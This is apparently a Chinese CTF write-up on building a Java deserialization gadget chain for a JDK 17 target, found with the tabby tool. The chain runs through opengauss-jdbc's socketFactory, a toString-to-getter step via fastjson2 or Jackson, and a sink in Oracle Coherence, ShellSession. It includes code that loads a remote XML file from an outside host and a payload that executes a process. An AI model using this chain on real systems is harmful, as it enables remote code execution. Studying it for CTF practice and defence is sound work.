banner
A.R.

A.R.

CTFer@Dubhe
github

记一次tabby利用链挖掘

环境#

依赖如下,原生反序列化入口,jdk 版本 17,不出网

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.opengauss</groupId>
            <artifactId>opengauss-jdbc</artifactId>
            <version>2.0.1-compatibility</version>
        </dependency>
        <dependency>
            <groupId>com.oracle.coherence.ce</groupId>
            <artifactId>coherence-rest</artifactId>
            <version>14.1.1-0-3</version>
        </dependency>
        <dependency>
            <groupId>com.alibaba.fastjson2</groupId>
            <artifactId>fastjson2</artifactId>
            <version>2.0.37</version>
        </dependency>
    </dependencies>

jdbc 利用#

可以观察到本题依赖存在 opengauss-jdbc,虽然没见过,但是可以从代码和文档中看到,是用 postgre jdbc 改的,那么经典的方法就是利用 socketFactory 来触发 String 参数构造方法

常见的出网利用方法是 ClassPathXmlApplicationContext

    public static void main(String[] args) throws Exception
    {
        String className = "org.springframework.context.support.ClassPathXmlApplicationContext";
        String myargs = "http://192.168.13.1:8000/exp.xml";
        Object dataSource = getDataSource(className, myargs);
    }
    public static Object getDataSource(String className, String myargs) throws Exception
    {
        Properties properties = new Properties();
        properties.setProperty("socketFactory", className);
        properties.setProperty("socketFactoryArg", myargs);

        PGSimpleDataSource dataSource = new PGSimpleDataSource();
        setFieldValue(dataSource, "properties", properties);
        dataSource.setUser("test");
        dataSource.setPassword("test");
        dataSource.setServerName("localhost");
        dataSource.setPortNumber(5432);
        dataSource.setDatabaseName("test");
        return dataSource;
    }

那么利用链中间的部分可以暂定为 jdbc,接下来需要触发 getter,以及寻找 sink。

触发 toString#

jdk17 下可以用 EventListenerList 或者 Xstring,或许依赖中还存在别的利用链。

toString2getter#

初步看来,可利用的类有

com.fasterxml.jackson.databind.node.BaseJsonNode
com.alibaba.fastjson2.JSONArray
com.huawei.shade.com.alibaba.fastjson.JSONArray

jackson

springboot 依赖自带,随便用

fastjson

对于 fastjson 来讲,2.0.xx 的版本是可以的,可以参考 com.alibaba.fastjson2.writer.ObjectWriterCreatorASM#createObjectWriter

而 com.huawei.shade 的 JSONArray 会被 autotype 限制

最终 sink#

最后需要一个构造方法的 sink 点,这里可以用 coherence-rest 这个依赖中入手,这是 weblogic 的经典依赖,存在很多反序列化 gadget,我们需要只是一个 sink 点,并且不用继承 serializable

cypher 查询语句如下

match (source:Method)
  where (source.CLASSNAME starts with "com.tangosol." or source.CLASSNAME starts with "com.oracle.")
    and source.NAME = "<init>"
    and source.HAS_PARAMETERS = true
    and source.PARAMETER_SIZE = 1
    and source.SUB_SIGNATURE contains "<init>(java.lang.String)"
match (sink:Method{IS_SINK:true})
call tabby.algo.findPath(source, "-", sink, 8, false) yield path
return path limit 20

ShellSession

其中一条链的入口是 com.tangosol.coherence.mvel2.sh.ShellSession#ShellSession (java.lang.String)

执行可以执行 mvel

ShellSession shellSession = new ShellSession("new java.lang.ProcessBuilder(new java.lang.String[]{\"calc\"}).start()");
加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。